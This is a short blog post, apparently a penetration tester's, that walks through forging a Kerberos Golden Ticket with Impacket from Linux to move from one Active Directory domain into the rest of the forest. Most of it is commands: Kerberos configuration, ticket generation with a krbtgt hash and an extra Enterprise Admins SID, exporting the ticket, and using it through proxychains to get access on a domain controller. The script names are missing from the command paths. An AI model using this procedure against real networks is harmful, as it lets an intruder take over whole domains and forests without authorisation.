active directory

🎵 “I’ve Got a Golden Ticket” 🎵

There are a couple of different ways that a Golden Ticket can be created and used when attacking an Active Directory environment. One of which is through the use of Impacket's The nice thing about this script is that it allows you to attack from a Linux system, rather than using Mimikatz from a Windows system to create and pass the ticket.


The following shows how "Golden Tickets can now be used to compromise any domain in the AD Forest once a single one is compromised." [1] Some details (IP addresses, hashes, SIDs) have been edited due to their sensitive nature.

When using the script make sure that your /etc/hosts and /etc/krb5.conf files have the correct names. For example:

root@eternalnoob:~# cat /etc/hosts    localhost    kali    DEV.TEST.MINE.COM    DC01    TEST.MINE.COM    DC02

and then edit /etc/krb5.conf to include the correct realms

    kdc = tcp/DC01:88
    kdc = tcp/DC02:88

If the krb5.conf file doesn't exist, it may need to be installed:

apt install krb5-user


Once your configurations are correct and in order, it's time to generate your ticket,

python /opt/impacket/examples/ -nthash <krbtgt_hash> -domain-sid <sid_of_domain_you're_in> -domain <fqdn_domain_you're_in> <your_evil_username> -extra-sid <sid_of_domain_you're_going_to>

or something like this:

python /opt/impacket/examples/ -nthash 12345678912345678912345678912345 -domain-sid S-1-5-21-1234567890-123456789-1234567890 -domain DEV.TEST.MINE.COM eviladmin -extra-sid S-1-5-21-9876543210-1234567890-9876543210-519

then export the ticket:

export KRB5CCNAME=eviladmin.ccache

and finally use it:

proxychains python /opt/impacket/examples/ -k -n eviladmin@DC01

Proxychains was used in order to access the targeted system. If no proxy is needed or used, omit that from the command.


  • Leave a Reply

    Your email address will not be published. Required fields are marked *

    sixteen + 16 =